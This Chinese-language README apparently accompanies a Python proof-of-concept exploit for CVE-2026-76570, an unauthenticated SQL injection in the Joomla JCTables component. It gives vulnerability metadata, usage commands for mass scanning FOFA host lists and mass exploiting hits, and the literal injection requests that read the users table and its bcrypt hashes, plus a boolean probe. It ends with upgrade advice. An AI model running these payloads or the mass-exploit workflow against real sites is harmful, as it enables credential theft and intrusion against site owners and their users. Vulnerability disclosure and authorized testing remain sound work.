针对 CVE-2026-76570 的 Python 3 PoC —— Joomcode JCTables —— 前端 JSON CRUD API(getdatarow、getrow 等)上的未授权 SQL 注入。
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76570(**已发布** 2026-09-30) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-76570 |
| CNA | Joomla! Project |
| 组件 | com_jctables |
| 受影响版本 | 1.0.0 – 1.20.0(实验环境:≤ 1.10.31.2 已确认) |
| 修复版本 | ≥ 1.21.1(2026-08-05) |
| CWE | CWE-89、CWE-862 |
| CVSS 4.0 | 10.0 严重 —— AT:N(无需特殊管理员配置) |
| 分析 | VulnCheck — JCTables SQL 读写 → RCE 利用链 |
前端控制器任务没有 token / ACL。请求中的表名和列名被直接拼接进 SQL;ladb_escape() 将引号包裹的值视为“已转义”。getdatarow 可读取任意数据库表(例如 {prefix}users)。本 PoC 证明读取(用户名 / bcrypt 行)—— 它不执行完整的管理员登录 / 插件 RCE 利用链。
成功标记:POCBIT-76570-OK(位于 JSON 证明元数据中)。
pip install requests urllib3 coloramacd CVE-2026-76570
python poc.py # interactive
python poc.py hits.txt # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_ # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help
| 步骤 | 请求 |
|---|---|
| 读取行 | GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1 |
| 布尔探测 | GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR '' |
将 JCTables 升级至 1.21.1+,或移除该组件。
仅限经授权的安全测试。